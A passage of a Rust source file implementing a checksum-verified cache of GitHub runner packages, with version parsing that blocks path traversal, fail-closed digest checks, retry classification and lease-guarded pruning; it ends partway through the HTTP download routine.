Skip to main content

runner_manager_agent/
package.rs

1// owner: e2-runner-package-cache
2//
3// `e1` owns `reconcile` and the crate root, `e3` owns `lifecycle`. Nothing in
4// this file edits either: the attempt vocabulary this module reasons about —
5// `RunnerAttempt`, `AttemptId`, `AttemptState::is_terminal` — is `b1`'s and is
6// consumed, never restated.
7
8//! The cached, checksum-verified GitHub runner package.
9//!
10//! Two failure modes drive this module, and every decision below is one of them
11//! being closed:
12//!
13//! * **A tampered package executes arbitrary code on the operator's machine.**
14//!   Download metadata comes from GitHub and nowhere else, the published
15//!   SHA-256 is verified *before* extraction, and an absent published checksum
16//!   fails closed rather than degrading into "skip the check"
17//!   (`07-security.md`, `05-infrastructure.md`).
18//! * **A stale package makes every job start failing for a reason nobody will
19//!   guess.** GitHub rejects runners more than 30 days behind the latest
20//!   release (`01-current-architecture.md`, edge case 7), so the published
21//!   version is re-checked on a bounded interval and a superseded cache entry
22//!   is refreshed before a cold start.
23//!
24//! # The shape of the cache
25//!
26//! Under [`AppPaths::state_dir`], which `05-infrastructure.md` names as the home
27//! of "the retained runner package cache":
28//!
29//! ```text
30//! state/
31//!   packages/
32//!     2.330.0/                     one immutable entry, never mutated after it lands
33//!       .runner-package.json       its manifest, written before the entry lands
34//!       run.sh, bin/, externals/   GitHub's archive, extracted
35//!     .staging/                    transient; a partial install is only ever here
36//!     .leases/                     <attempt-uuid>.lease, the prune guard's evidence
37//!   tool-cache/                    approved tool caches, retained beside the binaries
38//! runtime/                         per-attempt job workspaces — NOT under packages/
39//! ```
40//!
41//! **A cache entry is created by exactly one filesystem operation.** Extraction
42//! writes into `.staging/<uuid>/`, the manifest is written *inside* that
43//! staging directory, and the directory is then renamed to `packages/<version>/`.
44//! The rename is the single commit point: an entry that exists is an entry that
45//! is complete, and a crash at any earlier moment leaves nothing but staging
46//! litter. That is also what makes "a second install of the same version is a
47//! no-op" true rather than aspirational — the entry is found and returned before
48//! anything is fetched.
49//!
50//! # The seam `e3` consumes, stated deliberately
51//!
52//! `e3` creates each JIT runtime as "a copy or link from that cache plus a
53//! unique workspace" (`05-infrastructure.md`). Three contracts hold that seam
54//! together, and they are stated here because an unstated port contract becomes
55//! a defect in the consumer:
56//!
57//! 1. [`InstalledPackage::root`] is **read-only to the caller**. It is the
58//!    shared, immutable source that every runtime is copied or linked from.
59//!    Writing into it corrupts every future runtime, and nothing in this module
60//!    can detect it after the fact.
61//! 2. [`PackageCache::lease`] must be called for the version a runtime was
62//!    created from, and [`PackageCache::release`] when that runtime is removed.
63//!    **The prune guard is only as truthful as those calls**: a version with no
64//!    lease is a version this module believes nothing references. The guard is
65//!    fail-closed in the other direction — see [`PackageCache::prune`] — so a
66//!    lease that is never released costs disk, while a lease that is never taken
67//!    costs a running runner its binaries.
68//! 3. Job workspaces live under [`AppPaths::runtime_dir`] and never under the
69//!    package cache. [`PackageCache::lease`] **enforces** this rather than
70//!    documenting it: a lease whose attempt's runtime path resolves inside the
71//!    cache root is refused.
72//!
73//! # What is built here and not yet reachable in production
74//!
75//! Two mechanisms in this module are complete and tested but have no live
76//! caller, and both are easier to find written down here than inferred from an
77//! absence:
78//!
79//! * **[`PinnedDigests`] has no operator-facing surface.** It is the entire
80//!   remedy [`PackageError::ChecksumAbsent`] names, and today it can only be
81//!   supplied by [`PackageCache::with_pins`] from Rust. Until a configuration
82//!   or CLI path reaches it, an operator who hits that refusal has been given
83//!   an instruction they cannot carry out. Wiring it is a `g`/`f`-group
84//!   concern, not this module's.
85//! * **[`PackageError::VersionRejected`] cannot be produced through the real
86//!   adapter.** [`GatewayCatalog`] maps every `InventoryError` to the retryable
87//!   [`PackageError::CatalogUnavailable`], correctly — the downloads endpoint
88//!   has no version-rejection response. The rejection lands at *registration*,
89//!   which is `e3`'s path, and [`DownloadCatalog`] exists to carry it here when
90//!   `e3` reports it. So the no-retry behaviour is proven and nothing yet
91//!   supplies its input.
92
93use std::collections::BTreeMap;
94use std::fmt;
95use std::fs;
96use std::io::{self, Read};
97use std::path::{Component, Path, PathBuf};
98use std::sync::{Arc, Mutex};
99
100use runner_manager_domain::attempt::{AttemptState, FailureReason, RunnerAttempt};
101use runner_manager_domain::model::{Arch, AttemptId, Clock, Elapsed, Os, Timestamp};
102use runner_manager_github::rest::{RunnerDownload, RunnerDownloads};
103use runner_manager_platform::os::{self as host_os, UnsupportedHost};
104use runner_manager_platform::paths::AppPaths;
105use serde::{Deserialize, Serialize};
106use sha2::{Digest, Sha256};
107
108// ---------------------------------------------------------------------------
109// Layout constants
110// ---------------------------------------------------------------------------
111
112/// The cache root, under [`AppPaths::state_dir`].
113const PACKAGES_DIR: &str = "packages";
114/// Approved tool caches, retained beside the runner binaries and deliberately
115/// **not** inside [`PACKAGES_DIR`]: a version entry is immutable, and a tool
116/// cache is by definition written to.
117const TOOL_CACHE_DIR: &str = "tool-cache";
118/// Transient extraction area. Everything here is litter from an interrupted
119/// install and may be removed at any time.
120const STAGING_DIR: &str = ".staging";
121/// One file per attempt that holds a version.
122const LEASES_DIR: &str = ".leases";
123const LEASE_EXTENSION: &str = "lease";
124/// The manifest, written inside the staging directory before the entry lands.
125pub(crate) const MANIFEST_FILE: &str = ".runner-package.json";
126
127/// How far behind the latest release a cached package may be before it is
128/// refreshed. GitHub rejects runners past this and plans to block them at
129/// registration (`01-current-architecture.md`, edge case 7).
130pub const FRESHNESS_WINDOW_DAYS: i64 = 30;
131
132/// How often the published version is re-checked. "A bounded interval"
133/// (`05-infrastructure.md`); six hours keeps the check far cheaper than the
134/// demand poll while still catching a release the same day it ships.
135pub const CHECK_INTERVAL_HOURS: i64 = 6;
136
137/// How many times a *retryable* failure is retried before the install is
138/// abandoned. A terminal failure consumes none of this budget.
139pub const RETRY_BUDGET: u32 = 3;
140
141// ---------------------------------------------------------------------------
142// RunnerVersion
143// ---------------------------------------------------------------------------
144
145/// A runner package version, such as `2.330.0`.
146///
147/// # Why this is parsed rather than carried as a string
148///
149/// The version becomes a **directory name** under the cache root, and it is
150/// derived from a filename GitHub sends over the wire. A string taken on trust
151/// there is a path component taken on trust: `..`, `foo/bar`, `C:\x` and an
152/// empty segment are all things a hostile or merely broken response could
153/// supply. [`RunnerVersion::parse`] admits only two to four dot-separated runs
154/// of ASCII digits, which cannot spell any of them.
155///
156/// Ordering is numeric per component, so `2.9.0 < 2.10.0`. Nothing in this
157/// module makes a *safety* decision from that ordering — freshness is decided
158/// from install time, not from version order — but a deterministic order makes
159/// [`PackageCache::installed`] stable.
160#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
161#[serde(try_from = "String", into = "String")]
162pub struct RunnerVersion {
163    /// Numeric components, compared first so `2.10.0` sorts above `2.9.0`.
164    parts: Vec<u64>,
165    raw: String,
166}
167
168impl RunnerVersion {
169    /// The longest version string accepted. Generous for `MAJOR.MINOR.PATCH`
170    /// and still far short of anything that could exhaust a path.
171    const MAX_LEN: usize = 64;
172    const MIN_PARTS: usize = 2;
173    const MAX_PARTS: usize = 4;
174
175    /// # Errors
176    /// [`PackageError::UnrecognisedVersion`] when `raw` is not two to four
177    /// dot-separated runs of ASCII digits.
178    pub fn parse(raw: &str) -> Result<Self, PackageError> {
179        let unrecognised = || PackageError::UnrecognisedVersion {
180            raw: raw.to_string(),
181        };
182        if raw.is_empty() || raw.len() > Self::MAX_LEN {
183            return Err(unrecognised());
184        }
185        let mut parts = Vec::new();
186        for segment in raw.split('.') {
187            if segment.is_empty() || !segment.bytes().all(|b| b.is_ascii_digit()) {
188                return Err(unrecognised());
189            }
190            parts.push(segment.parse::<u64>().map_err(|_| unrecognised())?);
191        }
192        if parts.len() < Self::MIN_PARTS || parts.len() > Self::MAX_PARTS {
193            return Err(unrecognised());
194        }
195        Ok(Self {
196            parts,
197            raw: raw.to_string(),
198        })
199    }
200
201    /// The version embedded in a published filename such as
202    /// `actions-runner-win-x64-2.330.0.zip`.
203    ///
204    /// GitHub's runner-downloads response carries no version field — the only
205    /// version signal it publishes is inside the filename and the URL — so this
206    /// is where the cache's directory names come from.
207    ///
208    /// # Errors
209    /// [`PackageError::UnsupportedArchive`] when the extension is neither
210    /// `.zip` nor `.tar.gz`/`.tgz`, and [`PackageError::UnrecognisedVersion`]
211    /// when the trailing segment is not a version.
212    pub fn from_filename(filename: &str) -> Result<Self, PackageError> {
213        let (stem, _) = ArchiveKind::split(filename)?;
214        // `rsplit` always yields at least one item — the whole string when
215        // there is no `-` — so this cannot be `None`. `unwrap_or(stem)` says
216        // that, where the `ok_or_else` it replaced dressed an unreachable arm
217        // up as a handled error and invited a reader to look for the input that
218        // reaches it. If there is no `-`, the whole stem is the candidate and
219        // `parse` refuses it.
220        let last = stem.rsplit('-').next().unwrap_or(stem);
221        Self::parse(last)
222    }
223
224    #[must_use]
225    pub fn as_str(&self) -> &str {
226        &self.raw
227    }
228}
229
230impl fmt::Display for RunnerVersion {
231    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
232        f.write_str(&self.raw)
233    }
234}
235
236impl TryFrom<String> for RunnerVersion {
237    type Error = PackageError;
238
239    fn try_from(value: String) -> Result<Self, Self::Error> {
240        Self::parse(&value)
241    }
242}
243
244impl From<RunnerVersion> for String {
245    fn from(value: RunnerVersion) -> Self {
246        value.raw
247    }
248}
249
250// ---------------------------------------------------------------------------
251// Sha256Hex
252// ---------------------------------------------------------------------------
253
254/// A SHA-256 digest, normalised to 64 lowercase hex characters.
255///
256/// Parsed rather than compared as a raw string so that a malformed published
257/// value — the wrong length, a non-hex character, an `sha256:` prefix — is a
258/// *refusal* rather than a comparison that quietly never matches. A digest
259/// check that can never succeed and a digest check that can never fail are the
260/// same defect wearing different clothes.
261#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
262#[serde(try_from = "String", into = "String")]
263pub struct Sha256Hex(String);
264
265impl Sha256Hex {
266    const LEN: usize = 64;
267
268    /// # Errors
269    /// [`PackageError::MalformedDigest`] when `raw` is not 64 hex characters.
270    pub fn parse(raw: &str) -> Result<Self, PackageError> {
271        let trimmed = raw.trim();
272        if trimmed.len() != Self::LEN || !trimmed.bytes().all(|b| b.is_ascii_hexdigit()) {
273            return Err(PackageError::MalformedDigest {
274                raw: trimmed.to_string(),
275            });
276        }
277        Ok(Self(trimmed.to_ascii_lowercase()))
278    }
279
280    #[must_use]
281    pub fn as_str(&self) -> &str {
282        &self.0
283    }
284}
285
286impl fmt::Display for Sha256Hex {
287    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
288        f.write_str(&self.0)
289    }
290}
291
292impl TryFrom<String> for Sha256Hex {
293    type Error = PackageError;
294
295    fn try_from(value: String) -> Result<Self, Self::Error> {
296        Self::parse(&value)
297    }
298}
299
300impl From<Sha256Hex> for String {
301    fn from(value: Sha256Hex) -> Self {
302        value.0
303    }
304}
305
306/// Which unusable shape GitHub's optional `sha256_checksum` arrived in.
307///
308/// Three distinct facts about the response, one shared remedy. They are not
309/// collapsed into a boolean because the operator reading the refusal is
310/// troubleshooting GitHub's response, and "the field was missing", "the field
311/// was blank" and "the field was not a digest" send them to three different
312/// places.
313#[derive(Debug, Clone, Copy, PartialEq, Eq)]
314pub enum PublishedChecksum {
315    /// The field was not present at all.
316    Absent,
317    /// The field was present and blank.
318    Empty,
319    /// The field was present and was not 64 hexadecimal characters.
320    Malformed,
321}
322
323impl PublishedChecksum {
324    #[must_use]
325    pub const fn describe(self) -> &'static str {
326        match self {
327            Self::Absent => "no sha256_checksum",
328            Self::Empty => "an empty sha256_checksum",
329            Self::Malformed => "a malformed sha256_checksum",
330        }
331    }
332}
333
334impl fmt::Display for PublishedChecksum {
335    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
336        f.write_str(self.describe())
337    }
338}
339
340/// Digests an already-downloaded file without holding it in memory.
341///
342/// The runner package is 150-300 MB; the whole reason `reqwest`'s `stream`
343/// feature is enabled for this crate is that neither the download nor this pass
344/// buffers it.
345fn sha256_file(path: &Path) -> Result<Sha256Hex, PackageError> {
346    let mut file = fs::File::open(path).map_err(|source| PackageError::Io {
347        what: "open the downloaded package for verification",
348        path: path.to_path_buf(),
349        source,
350    })?;
351    let mut hasher = Sha256::new();
352    let mut buffer = vec![0_u8; 128 * 1024];
353    loop {
354        let read = file.read(&mut buffer).map_err(|source| PackageError::Io {
355            what: "read the downloaded package for verification",
356            path: path.to_path_buf(),
357            source,
358        })?;
359        if read == 0 {
360            break;
361        }
362        hasher.update(&buffer[..read]);
363    }
364    Sha256Hex::parse(&hex::encode(hasher.finalize()))
365}
366
367// ---------------------------------------------------------------------------
368// Archive kind
369// ---------------------------------------------------------------------------
370
371/// The two shapes GitHub publishes the runner in.
372///
373/// **Derived from the filename, never from the host OS.** They agree in
374/// practice — `.zip` for Windows, `.tar.gz` elsewhere — but the filename is what
375/// actually arrived, and deriving the format from an assumption about the host
376/// is how a correct download gets fed to the wrong extractor. It also lets both
377/// extraction paths be exercised on all three CI legs.
378#[derive(Debug, Clone, Copy, PartialEq, Eq)]
379enum ArchiveKind {
380    Zip,
381    TarGz,
382}
383
384impl ArchiveKind {
385    /// Splits a published filename into its stem and its archive kind.
386    fn split(filename: &str) -> Result<(&str, Self), PackageError> {
387        let lower = filename.to_ascii_lowercase();
388        for (extension, kind) in [
389            (".tar.gz", Self::TarGz),
390            (".tgz", Self::TarGz),
391            (".zip", Self::Zip),
392        ] {
393            if lower.ends_with(extension) {
394                return Ok((&filename[..filename.len() - extension.len()], kind));
395            }
396        }
397        Err(PackageError::UnsupportedArchive {
398            filename: filename.to_string(),
399        })
400    }
401}
402
403// ---------------------------------------------------------------------------
404// Errors
405// ---------------------------------------------------------------------------
406
407/// Everything that can stop a package reaching the cache.
408///
409/// # Terminal versus retryable is not a style choice here
410///
411/// `03-control-flows.md` flow 2 fixes the split, and it is narrower than it
412/// looks: *"a JIT request, download checksum, process start, or runner exit
413/// before job acceptance is retried with bounded exponential backoff … A runner
414/// version rejection and an absent published checksum are terminal,
415/// operator-actionable conditions, not retryable errors."*
416///
417/// So a checksum **mismatch** is retryable — the usual cause is a truncated or
418/// corrupted transfer, and the next attempt gets clean bytes — while an
419/// **absent** checksum is terminal, because retrying cannot make GitHub publish
420/// one. Getting this backwards in either direction is a real outage: retrying a
421/// version rejection turns a fixable condition into a silent loop, and treating
422/// a mismatch as terminal fails a cold start on a dropped packet.
423#[derive(Debug, thiserror::Error)]
424pub enum PackageError {
425    /// This OS and architecture pair is not one the product documents. Refused
426    /// before any request is made, let alone any download.
427    #[error("{0}")]
428    UnsupportedHost(#[from] UnsupportedHost),
429
430    /// GitHub publishes no package for this host. **Never a reason to fall back
431    /// to a hardcoded URL** — that is the substitution `07-security.md` exists
432    /// to prevent.
433    #[error("GitHub publishes no runner package for {os}/{arch}")]
434    NoPackagePublished { os: Os, arch: Arch },
435
436    /// GitHub published no *usable* `sha256_checksum` and no operator-pinned
437    /// digest is configured. Terminal: the agent fails closed
438    /// (`05-infrastructure.md`).
439    ///
440    /// `published` says which of the three unusable shapes arrived. They are
441    /// kept apart because they are different facts about GitHub's response —
442    /// `c3` distinguishes absent from empty deliberately — and because an
443    /// operator reading this is entitled to the one that actually happened.
444    /// **All three carry the same remedy, and that is the point of the variant:
445    /// every unusable shape routes to the operator-pinned digest.** An earlier
446    /// version let a malformed value bypass the pin and then told the operator
447    /// to pin one, which was advice that could not work.
448    #[error(
449        "GitHub published {} for runner package {version} ({os}/{arch}), so it \
450         cannot be verified and will not be installed. Pin the digest you have \
451         independently confirmed for {version} and retry.",
452        published.describe()
453    )]
454    ChecksumAbsent {
455        version: RunnerVersion,
456        os: Os,
457        arch: Arch,
458        published: PublishedChecksum,
459    },
460
461    /// The bytes on disk are not the bytes GitHub published. The partial file
462    /// is removed before this is returned, and nothing is extracted.
463    #[error(
464        "runner package {version} does not match its published SHA-256 \
465         (published {expected}, downloaded {actual}); the partial download was \
466         discarded and nothing was extracted"
467    )]
468    ChecksumMismatch {
469        version: RunnerVersion,
470        expected: Sha256Hex,
471        actual: Sha256Hex,
472    },
473
474    /// A digest — published or pinned — that is not 64 hex characters.
475    #[error("`{raw}` is not a SHA-256 digest; a digest is 64 hexadecimal characters")]
476    MalformedDigest { raw: String },
477
478    /// GitHub refused this runner on version grounds. Terminal and
479    /// operator-actionable; see [`DownloadCatalog`] for who reports it.
480    #[error(
481        "GitHub rejected the runner version{}{}. Runners more than \
482         {FRESHNESS_WINDOW_DAYS} days behind the latest release are refused. \
483         Install the current package and start a new attempt; retrying this one \
484         cannot succeed.",
485        version.as_ref().map(|v| format!(" {v}")).unwrap_or_default(),
486        detail.as_ref().map(|d| format!(": {d}")).unwrap_or_default()
487    )]
488    VersionRejected {
489        version: Option<RunnerVersion>,
490        detail: Option<String>,
491    },
492
493    /// The download metadata could not be read. Retryable.
494    #[error("the runner download metadata could not be read: {detail}")]
495    CatalogUnavailable { detail: String },
496
497    /// The package bytes could not be fetched. Retryable.
498    #[error("the runner package could not be downloaded: {detail}")]
499    Download { detail: String },
500
501    /// A filename whose trailing segment is not a version.
502    #[error("`{raw}` is not a runner version")]
503    UnrecognisedVersion { raw: String },
504
505    /// A published filename that is neither a `.zip` nor a `.tar.gz`.
506    #[error("`{filename}` is not a runner package archive this agent can extract")]
507    UnsupportedArchive { filename: String },
508
509    /// An archive entry whose path escapes the directory being extracted into.
510    ///
511    /// Verification runs before extraction, so these bytes are the bytes GitHub
512    /// published and this should be unreachable. It is refused anyway: the cost
513    /// is a path comparison, and the thing it prevents is an archive writing
514    /// outside the cache root.
515    #[error("runner package entry `{entry}` escapes the directory it is extracted into")]
516    UnsafeArchiveEntry { entry: String },
517
518    /// The archive could not be read or unpacked.
519    #[error("the runner package archive could not be extracted: {detail}")]
520    Extract { detail: String },
521
522    /// A prune was refused because a live attempt still holds the version.
523    #[error(
524        "runner package {version} is still held by attempt {attempt}, which is \
525         `{state}` and not terminal; it will be prunable once that attempt \
526         concludes"
527    )]
528    VersionInUse {
529        version: RunnerVersion,
530        attempt: AttemptId,
531        /// `b1`'s type, rendered by `b1`'s `Display`. This module had its own
532        /// nine-arm `match` producing the same nine strings; a second rendering
533        /// of someone else's enum is a second thing to keep in step, and it
534        /// silently stops matching the moment a state is added.
535        state: AttemptState,
536    },
537
538    /// A prune was refused because a lease names an attempt the caller did not
539    /// report. See [`PackageCache::prune`] for why this fails closed.
540    #[error(
541        "runner package {version} is held by attempt {attempt}, which is not in \
542         the attempt set supplied; refusing to prune a version whose holder \
543         cannot be shown to be terminal. Release the lease explicitly if that \
544         attempt is known to be gone."
545    )]
546    VersionHeldByUnknownAttempt {
547        version: RunnerVersion,
548        attempt: AttemptId,
549    },
550
551    /// A lease file exists but cannot be understood, so what it holds is
552    /// unknown and no prune can be shown to be safe.
553    #[error(
554        "the runner package lease at `{}` cannot be read, so which version it \
555         holds is unknown; refusing to prune anything until it is resolved",
556        path.display()
557    )]
558    UnreadableLease { path: PathBuf },
559
560    /// A lease was refused because the attempt's workspace is inside the cache.
561    #[error(
562        "attempt {attempt} has its runtime at `{}`, which is inside the runner \
563         package cache. Job workspaces are disposable and the cache is \
564         immutable; a workspace here would be destroyed by a prune and would \
565         mutate an entry that every other runtime is copied from.",
566        path.display()
567    )]
568    WorkspaceInsideCache { attempt: AttemptId, path: PathBuf },
569
570    /// A lease or prune named a version that is not in the cache.
571    #[error("runner package {version} is not installed")]
572    NotInstalled { version: RunnerVersion },
573
574    #[error("cannot {what} at `{}`: {source}", path.display())]
575    Io {
576        what: &'static str,
577        path: PathBuf,
578        #[source]
579        source: io::Error,
580    },
581
582    /// Every retry was spent on retryable failures.
583    #[error("giving up after {attempts} attempts: {source}")]
584    Exhausted {
585        attempts: u32,
586        #[source]
587        source: Box<PackageError>,
588    },
589}
590
591impl PackageError {
592    /// Whether this condition is terminal and operator-actionable rather than
593    /// something a retry can clear.
594    ///
595    /// Read the type-level documentation before changing any arm: the split is
596    /// fixed by `03-control-flows.md`, not by taste.
597    #[must_use]
598    pub fn is_terminal(&self) -> bool {
599        match self {
600            // Retrying cannot make GitHub publish a checksum, support an
601            // undocumented platform, publish a package it does not publish,
602            // accept a rejected version, or turn a malformed value well-formed.
603            Self::UnsupportedHost(_)
604            | Self::NoPackagePublished { .. }
605            | Self::ChecksumAbsent { .. }
606            | Self::MalformedDigest { .. }
607            | Self::VersionRejected { .. }
608            | Self::UnrecognisedVersion { .. }
609            | Self::UnsupportedArchive { .. }
610            | Self::UnsafeArchiveEntry { .. }
611            | Self::VersionInUse { .. }
612            | Self::VersionHeldByUnknownAttempt { .. }
613            | Self::UnreadableLease { .. }
614            | Self::WorkspaceInsideCache { .. }
615            | Self::NotInstalled { .. } => true,
616            // A truncated transfer, a 5xx, a rate limit, a locked file: the next
617            // attempt can differ.
618            Self::ChecksumMismatch { .. }
619            | Self::CatalogUnavailable { .. }
620            | Self::Download { .. }
621            | Self::Extract { .. }
622            | Self::Io { .. } => false,
623            // The budget is spent; whatever it was spent on, this is the end.
624            Self::Exhausted { .. } => true,
625        }
626    }
627
628    /// The domain reason to journal, when this failure concludes an attempt.
629    ///
630    /// `b1` owns [`FailureReason`] and already names both of this module's
631    /// terminal security conditions. Nothing here invents a second vocabulary
632    /// for them.
633    #[must_use]
634    pub fn failure_reason(&self) -> Option<FailureReason> {
635        match self {
636            Self::ChecksumAbsent { .. }
637            | Self::ChecksumMismatch { .. }
638            | Self::MalformedDigest { .. }
639            | Self::UnsafeArchiveEntry { .. } => Some(FailureReason::RunnerPackageUnverified),
640            Self::VersionRejected { .. } => Some(FailureReason::RunnerVersionRejected),
641            Self::Exhausted { source, .. } => source.failure_reason(),
642            _ => None,
643        }
644    }
645
646    /// What the operator has to do. Every terminal condition has one; a
647    /// retryable one has none, because the answer is "wait".
648    #[must_use]
649    pub fn operator_action(&self) -> Option<&'static str> {
650        match self {
651            Self::UnsupportedHost(_) => Some(
652                "run the agent on a documented operating system and architecture, \
653                 or add this host to the supported matrix",
654            ),
655            Self::NoPackagePublished { .. } => Some(
656                "check that GitHub publishes a runner package for this host's \
657                 operating system and architecture",
658            ),
659            Self::ChecksumAbsent { .. } => Some(
660                "confirm the package digest independently and pin it, or wait \
661                 for GitHub to publish a checksum; the package will not be \
662                 installed unverified",
663            ),
664            Self::MalformedDigest { .. } => {
665                Some("correct the pinned digest to 64 hexadecimal characters")
666            }
667            Self::VersionRejected { .. } => Some(
668                "install the current runner package and start a new attempt; \
669                 this one cannot be retried into success",
670            ),
671            Self::UnsupportedArchive { .. } | Self::UnrecognisedVersion { .. } => Some(
672                "GitHub's runner download metadata is not in a shape this agent \
673                 recognises; report it rather than working around it",
674            ),
675            Self::UnsafeArchiveEntry { .. } => Some(
676                "the runner package archive contains an entry that writes \
677                 outside the cache; do not install it and report it",
678            ),
679            Self::VersionInUse { .. } => {
680                Some("wait for the attempt holding this version to conclude")
681            }
682            Self::VersionHeldByUnknownAttempt { .. } => Some(
683                "release the lease for the attempt named above if it is known to \
684                 be gone, then prune again",
685            ),
686            Self::UnreadableLease { .. } => Some(
687                "inspect the lease file named above; delete it once the attempt \
688                 it belonged to is known to be gone, then prune again",
689            ),
690            Self::WorkspaceInsideCache { .. } => {
691                Some("place job workspaces under the runtime directory")
692            }
693            Self::NotInstalled { .. } => Some("install the version before referencing it"),
694            Self::Exhausted { source, .. } => source.operator_action(),
695            Self::ChecksumMismatch { .. }
696            | Self::CatalogUnavailable { .. }
697            | Self::Download { .. }
698            | Self::Extract { .. }
699            | Self::Io { .. } => None,
700        }
701    }
702}
703
704// ---------------------------------------------------------------------------
705// Ports
706// ---------------------------------------------------------------------------
707
708/// Where the published runner-download metadata comes from.
709///
710/// Deliberately narrower than `c3`'s `InventoryGateway`: this module needs one
711/// answer, and a port with one method is a port a test can substitute without
712/// standing up a whole gateway. [`GatewayCatalog`] adapts the real one.
713///
714/// # Reporting a version rejection through this port
715///
716/// GitHub's runner-downloads endpoint does not itself reject a version — the
717/// rejection lands at *registration*, which is `e3`'s path. This port carries
718/// [`PackageError::VersionRejected`] anyway so that a rejection observed
719/// anywhere in the agent reaches the one place that can act on it: the cache,
720/// whose fix is a newer package.
721///
722/// **An implementation that answers `VersionRejected` is promising that
723/// retrying is pointless.** [`PackageCache`] honours that literally — it makes
724/// no further attempt and spends none of its retry budget — so an
725/// implementation that returns it for a transient condition converts a blip
726/// into a stopped host. When in doubt, answer
727/// [`PackageError::CatalogUnavailable`], which is retryable.
728#[async_trait::async_trait]
729pub trait DownloadCatalog: fmt::Debug + Send + Sync {
730    /// The runner packages GitHub currently publishes.
731    ///
732    /// # Errors
733    /// [`PackageError::CatalogUnavailable`] for anything a retry could clear,
734    /// [`PackageError::VersionRejected`] for a version refusal.
735    async fn published(&self) -> Result<RunnerDownloads, PackageError>;
736}
737
738/// Streams a published package onto disk.
739///
740/// # Contract
741///
742/// * The bytes are written to `destination` and nowhere else.
743/// * **The implementation does not remove `destination` on failure.** A partial
744///   file is the caller's to discard, and [`PackageCache`] discards it — see
745///   [`PackageCache::prune`]'s neighbour, `download_and_verify`. Having the
746///   fetcher clean up would hide a partial download from the very test that
747///   proves it is removed.
748/// * Nothing is verified here. Verification is the cache's, and it happens
749///   before extraction.
750#[async_trait::async_trait]
751pub trait PackageFetcher: fmt::Debug + Send + Sync {
752    /// Stream `url` into `destination`, answering how many bytes were written.
753    ///
754    /// # Errors
755    /// [`PackageError::Download`] for a transport or status failure,
756    /// [`PackageError::Io`] for a write failure.
757    async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError>;
758}
759
760/// How long to wait between retries of a retryable failure.
761#[async_trait::async_trait]
762pub trait Backoff: fmt::Debug + Send + Sync {
763    /// Called after attempt `attempt` (1-based) failed retryably.
764    async fn wait(&self, attempt: u32);
765}
766
767/// Bounded exponential backoff, as `03-control-flows.md` requires.
768#[derive(Debug, Clone, Copy)]
769pub struct ExponentialBackoff {
770    base: std::time::Duration,
771    cap: std::time::Duration,
772}
773
774impl ExponentialBackoff {
775    #[must_use]
776    pub const fn new(base: std::time::Duration, cap: std::time::Duration) -> Self {
777        Self { base, cap }
778    }
779}
780
781impl Default for ExponentialBackoff {
782    fn default() -> Self {
783        Self::new(
784            std::time::Duration::from_secs(2),
785            std::time::Duration::from_secs(30),
786        )
787    }
788}
789
790#[async_trait::async_trait]
791impl Backoff for ExponentialBackoff {
792    async fn wait(&self, attempt: u32) {
793        let factor = 1_u32 << attempt.min(16);
794        let delay = self.base.saturating_mul(factor).min(self.cap);
795        tokio::time::sleep(delay).await;
796    }
797}
798
799/// No delay at all. For tests, and for a caller that supplies its own pacing.
800#[derive(Debug, Clone, Copy, Default)]
801pub struct NoBackoff;
802
803#[async_trait::async_trait]
804impl Backoff for NoBackoff {
805    async fn wait(&self, _attempt: u32) {}
806}
807
808// ---------------------------------------------------------------------------
809// Production adapters
810// ---------------------------------------------------------------------------
811
812/// Adapts `c3`'s `InventoryGateway` to [`DownloadCatalog`].
813///
814/// Every `InventoryError` maps to [`PackageError::CatalogUnavailable`], which
815/// is retryable, because the downloads endpoint has no version-rejection
816/// response: a rate limit, a cancellation and a transport failure are all
817/// conditions a later attempt can clear.
818#[derive(Debug)]
819pub struct GatewayCatalog<G> {
820    gateway: G,
821    target: runner_manager_domain::model::ScaleTarget,
822}
823
824impl<G> GatewayCatalog<G> {
825    #[must_use]
826    pub const fn new(gateway: G, target: runner_manager_domain::model::ScaleTarget) -> Self {
827        Self { gateway, target }
828    }
829}
830
831#[async_trait::async_trait]
832impl<G> DownloadCatalog for GatewayCatalog<G>
833where
834    G: runner_manager_github::rest::InventoryGateway,
835{
836    async fn published(&self) -> Result<RunnerDownloads, PackageError> {
837        let cancel = runner_manager_github::rest::CancelToken::new();
838        self.gateway
839            .runner_downloads(&self.target, &cancel)
840            .await
841            .map_err(|error| PackageError::CatalogUnavailable {
842                detail: error.to_string(),
843            })
844    }
845}
846
847/// Streams the package with `reqwest`, one chunk at a time.
848///
849/// The `stream` feature exists in this workspace for exactly this: the package
850/// is 150-300 MB, and buffering it in memory on a home host is not an option —
851/// nor would it leave a partial file on disk for the mismatch path to remove.
852#[derive(Debug, Clone)]
853pub struct HttpFetcher {
854    client: reqwest::Client,
855}
856
857impl HttpFetcher {
858    #[must_use]
859    pub fn new(client: reqwest::Client) -> Self {
860        Self { client }
861    }
862}
863
864impl Default for HttpFetcher {
865    fn default() -> Self {
866        Self::new(reqwest::Client::new())
867    }
868}
869
870#[async_trait::async_trait]
871impl PackageFetcher for HttpFetcher {
872    async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
873        use futures::StreamExt as _;
874        use tokio::io::AsyncWriteExt as _;
875
876        let response = self
877            .client
878            .get(url)
879            .send()
880            .await
881            .and_then(reqwest::Response::error_for_status)
882            .map_err(|error| PackageError::Download {
883                detail: error.to_string(),
884            })?;
885
886        let mut file = tokio::fs::File::create(destination)
887            .await
888            .map_err(|source| PackageError::Io {
889                what: "create the package download file",
890                path: destination.to_path_buf(),
891                source,
892            })?;
893
894        let mut stream = response.bytes_stream();
895        let mut written = 0_u64;
896        while let Some(chunk) = stream.next().await {
897            let chunk = chunk.map_err(|error| PackageError::Download {
898                detail: error.to_string(),
899            })?;
900            written += chunk.len() as u64;
901            file.write_all(&chunk)
902                .await
903                .map_err(|source| PackageError::Io {
904                    what: "write the package download file",
905                    path: destination.to_path_buf(),
906                    source,
907                })?;
908        }
909        file.flush().await.map_err(|source| PackageError::Io {
910            what: "flush the package download file",
911            path: destination.to_path_buf(),
912            source,
913        })?;
914        file.sync_all().await.map_err(|source| PackageError::Io {
915            what: "sync the package download file",
